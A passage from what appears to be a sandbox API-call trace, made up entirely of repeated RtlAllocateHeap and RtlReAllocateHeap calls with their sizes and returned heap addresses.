[0153.006] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f768f8, Size=0x8) returned 0x2f80c38 [0153.006] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f7f750 [0153.006] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f80c38, Size=0xc) returned 0x2f725b0 [0153.006] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f7f5f0 [0153.006] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f725b0, Size=0x10) returned 0x2f726a0 [0153.006] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f7f7d0 [0153.006] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f726a0, Size=0x14) returned 0x2f7f770 [0153.006] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f7f7f0 [0153.006] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f7f770, Size=0x18) returned 0x2f7f8d0 [0153.006] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f7f550 [0153.006] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f7f8d0, Size=0x1c) returned 0x2f78a88 [0153.006] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f7f610 [0153.006] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f78a88, Size=0x20) returned 0x2f78970 [0153.006] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f7f890 [0153.007] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f78970, Size=0x24) returned 0x2f72038 [0153.007] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f7f730 [0153.007] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f72038, Size=0x28) returned 0x2f71f18 [0153.007] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f7f810 [0153.007] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f71f18, Size=0x2c) returned 0x2f6b9a8 [0153.007] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f7f870 [0153.007] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6b9a8, Size=0x30) returned 0x2f6b9e0 [0153.007] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f7f830 [0153.007] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6b9e0, Size=0x34) returned 0x2f807a0 [0153.007] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f7f6b0 [0153.007] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f76908, Size=0xc) returned 0x2f72400 [0153.007] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f7f8d0 [0153.007] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4) returned 0x2f768f8 [0153.007] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f7f6d0 [0153.007] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f768f8, Size=0x8) returned 0x2f76908 [0153.007] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f7f5b0 [0153.007] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f76908, Size=0xc) returned 0x2f72418 [0153.007] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f7f770 [0153.007] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f72418, Size=0x10) returned 0x2f726a0 [0153.007] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f7f8f0 [0153.007] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f726a0, Size=0x14) returned 0x2f7f690 [0153.007] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f7f910 [0153.007] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f7f690, Size=0x18) returned 0x2f7f850 [0153.007] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f7f630 [0153.007] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f7f850, Size=0x1c) returned 0x2f78b28 [0153.007] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f7f650 [0153.007] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f78b28, Size=0x20) returned 0x2f78970 [0153.007] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f7f670 [0153.007] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f78970, Size=0x24) returned 0x2f72098 [0153.007] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f7f690 [0153.007] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f72098, Size=0x28) returned 0x2f720c8 [0153.007] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f7f6f0 [0153.007] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f720c8, Size=0x2c) returned 0x2f6b9a8 [0153.007] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f7f710 [0153.007] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6b9a8, Size=0x30) returned 0x2f6bd98 [0153.007] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f7f790 [0153.007] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6bd98, Size=0x34) returned 0x2f80560 [0153.007] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f7f7b0 [0153.007] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f80560, Size=0x38) returned 0x2f80320 [0153.007] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f7f850 [0153.008] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f80320, Size=0x3c) returned 0x2f70108 [0153.008] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80ae0 [0153.008] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f70108, Size=0x40) returned 0x2f701e0 [0153.008] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80960 [0153.008] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f701e0, Size=0x44) returned 0x2f730b8 [0153.008] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80ca0 [0153.008] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f730b8, Size=0x48) returned 0x2f72de8 [0153.008] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80a80 [0153.008] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f72de8, Size=0x4c) returned 0x2f71990 [0153.008] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80b00 [0153.008] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f71990, Size=0x50) returned 0x2f71990 [0153.008] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80bc0 [0153.008] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f71990, Size=0x54) returned 0x2f71990 [0153.008] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80980 [0153.008] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f71990, Size=0x58) returned 0x2f71990 [0153.008] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80b20 [0153.008] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f71990, Size=0x5c) returned 0x2f71990 [0153.008] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80aa0 [0153.008] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f71990, Size=0x60) returned 0x2f71990 [0153.008] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80b40 [0153.008] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f71990, Size=0x64) returned 0x2f727c0 [0153.008] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80c60 [0153.008] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f727c0, Size=0x68) returned 0x2f727c0 [0153.008] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80cc0 [0153.009] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f727c0, Size=0x6c) returned 0x2f6a3e8 [0153.009] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f809a0 [0153.009] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6a3e8, Size=0x70) returned 0x2f6a3e8 [0153.009] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f809c0 [0153.009] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6a3e8, Size=0x74) returned 0x2f67c30 [0153.009] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80ce0 [0153.009] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f67c30, Size=0x78) returned 0x2f67c30 [0153.009] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80b60 [0153.009] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f67c30, Size=0x7c) returned 0x2f716c0 [0153.009] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80d00 [0153.009] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f716c0, Size=0x80) returned 0x2f716c0 [0153.009] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80ac0 [0153.009] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f716c0, Size=0x84) returned 0x2f67db0 [0153.009] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80a20 [0153.009] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f67db0, Size=0x88) returned 0x2f67db0 [0153.009] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f809e0 [0153.009] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f67db0, Size=0x8c) returned 0x2f6c698 [0153.009] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80a00 [0153.009] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6c698, Size=0x90) returned 0x2f6c698 [0153.009] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80b80 [0153.009] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6c698, Size=0x94) returned 0x2f6aa70 [0153.009] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80a40 [0153.009] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6aa70, Size=0x98) returned 0x2f6aa70 [0153.009] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80c20 [0153.009] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6aa70, Size=0x9c) returned 0x2f6aa70 [0153.009] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80be0 [0153.009] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6aa70, Size=0xa0) returned 0x2f6aa70 [0153.009] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80c00 [0153.009] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6aa70, Size=0xa4) returned 0x2f63c80 [0153.009] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80a60 [0153.009] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f63c80, Size=0xa8) returned 0x2f63c80 [0153.009] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80d20 [0153.009] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f63c80, Size=0xac) returned 0x2f6fad8 [0153.009] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80ba0 [0153.009] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6fad8, Size=0xb0) returned 0x2f6fad8 [0153.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80c40 [0153.010] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6fad8, Size=0xb4) returned 0x2f70668 [0153.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80c80 [0153.010] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f70668, Size=0xb8) returned 0x2f70668 [0153.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f810d0 [0153.010] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f70668, Size=0xbc) returned 0x2f70668 [0153.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80e10 [0153.010] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f70668, Size=0xc0) returned 0x2f70668 [0153.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80ed0 [0153.010] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f70668, Size=0xc4) returned 0x2f70668 [0153.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81070 [0153.010] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f77170, Size=0x1c) returned 0x2f78970 [0153.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80e30 [0153.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4) returned 0x2f768f8 [0153.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81110 [0153.010] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f768f8, Size=0x8) returned 0x2f76908 [0153.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80f30 [0153.010] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f76908, Size=0xc) returned 0x2f724f0 [0153.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80e50 [0153.010] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f724f0, Size=0x10) returned 0x2f72418 [0153.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81010 [0153.010] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f72418, Size=0x14) returned 0x2f80fd0 [0153.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80f70 [0153.010] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f80fd0, Size=0x18) returned 0x2f81150 [0153.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80e70 [0153.010] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f81150, Size=0x1c) returned 0x2f78a88 [0153.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80fb0 [0153.010] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f78a88, Size=0x20) returned 0x2f78998 [0153.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81090 [0153.010] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f78998, Size=0x24) returned 0x2f72038 [0153.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80d90 [0153.010] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f72038, Size=0x28) returned 0x2f71f78 [0153.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80d70 [0153.010] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f71f78, Size=0x2c) returned 0x2f6bbd8 [0153.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80eb0 [0153.010] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6bbd8, Size=0x30) returned 0x2f6ba18 [0153.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80e90 [0153.011] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6ba18, Size=0x34) returned 0x2f805e0 [0153.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80fd0 [0153.011] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f805e0, Size=0x38) returned 0x2f804a0 [0153.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80ef0 [0153.011] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f804a0, Size=0x3c) returned 0x2f70108 [0153.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80f50 [0153.011] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f70108, Size=0x40) returned 0x2f701e0 [0153.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80f90 [0153.011] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f701e0, Size=0x44) returned 0x2f72de8 [0153.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81030 [0153.011] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f72de8, Size=0x48) returned 0x2f72fc8 [0153.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81050 [0153.011] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f72fc8, Size=0x4c) returned 0x2f71990 [0153.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80ff0 [0153.011] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f71990, Size=0x50) returned 0x2f71990 [0153.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81130 [0153.011] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f71990, Size=0x54) returned 0x2f71990 [0153.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f810b0 [0153.011] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f71990, Size=0x58) returned 0x2f71990 [0153.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f810f0 [0153.011] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f71990, Size=0x5c) returned 0x2f71990 [0153.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81150 [0153.011] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f71990, Size=0x60) returned 0x2f71990 [0153.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80db0 [0153.011] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f71990, Size=0x64) returned 0x2f727c0 [0153.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80dd0 [0153.011] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f727c0, Size=0x68) returned 0x2f727c0 [0153.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80df0 [0153.011] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f727c0, Size=0x6c) returned 0x2f6a3e8 [0153.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f80f10 [0153.011] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6a3e8, Size=0x70) returned 0x2f6a3e8 [0153.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f812f0 [0153.011] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6a3e8, Size=0x74) returned 0x2f67c30 [0153.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81510 [0153.011] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f67c30, Size=0x78) returned 0x2f67c30 [0153.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81190 [0153.011] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f67c30, Size=0x7c) returned 0x2f716c0 [0153.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81410 [0153.012] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f716c0, Size=0x80) returned 0x2f716c0 [0153.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f811b0 [0153.012] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f716c0, Size=0x84) returned 0x2f67db0 [0153.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f811d0 [0153.012] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f67db0, Size=0x88) returned 0x2f67db0 [0153.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81430 [0153.012] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f67db0, Size=0x8c) returned 0x2f6c698 [0153.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f812d0 [0153.012] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6c698, Size=0x90) returned 0x2f6c698 [0153.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81310 [0153.012] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6c698, Size=0x94) returned 0x2f6aa70 [0153.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81390 [0153.012] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6aa70, Size=0x98) returned 0x2f6aa70 [0153.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81250 [0153.012] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6aa70, Size=0x9c) returned 0x2f6aa70 [0153.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f811f0 [0153.012] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6aa70, Size=0xa0) returned 0x2f6aa70 [0153.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81490 [0153.012] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6aa70, Size=0xa4) returned 0x2f63c80 [0153.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81330 [0153.012] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f63c80, Size=0xa8) returned 0x2f63c80 [0153.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81290 [0153.012] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f63c80, Size=0xac) returned 0x2f6fad8 [0153.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81210 [0153.012] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6fad8, Size=0xb0) returned 0x2f6fad8 [0153.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81450 [0153.012] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6fad8, Size=0xb4) returned 0x2f6b0c0 [0153.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81170 [0153.012] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6b0c0, Size=0xb8) returned 0x2f6b0c0 [0153.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f813f0 [0153.012] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6b0c0, Size=0xbc) returned 0x2f6b0c0 [0153.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81230 [0153.012] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6b0c0, Size=0xc0) returned 0x2f6b0c0 [0153.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f812b0 [0153.012] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6b0c0, Size=0xc4) returned 0x2f6b0c0 [0153.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81350 [0153.012] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6b0c0, Size=0xc8) returned 0x2f6b0c0 [0153.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81270 [0153.013] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6b0c0, Size=0xcc) returned 0x2f6a4a8 [0153.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81370 [0153.013] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6a4a8, Size=0xd0) returned 0x2f6a4a8 [0153.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f813b0 [0153.013] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6a4a8, Size=0xd4) returned 0x2f63a70 [0153.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f813d0 [0153.013] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f63a70, Size=0xd8) returned 0x2f63a70 [0153.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81470 [0153.013] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f63a70, Size=0xdc) returned 0x2f6b6f8 [0153.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f814b0 [0153.013] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6b6f8, Size=0xe0) returned 0x2f6b6f8 [0153.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f814d0 [0153.013] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6b6f8, 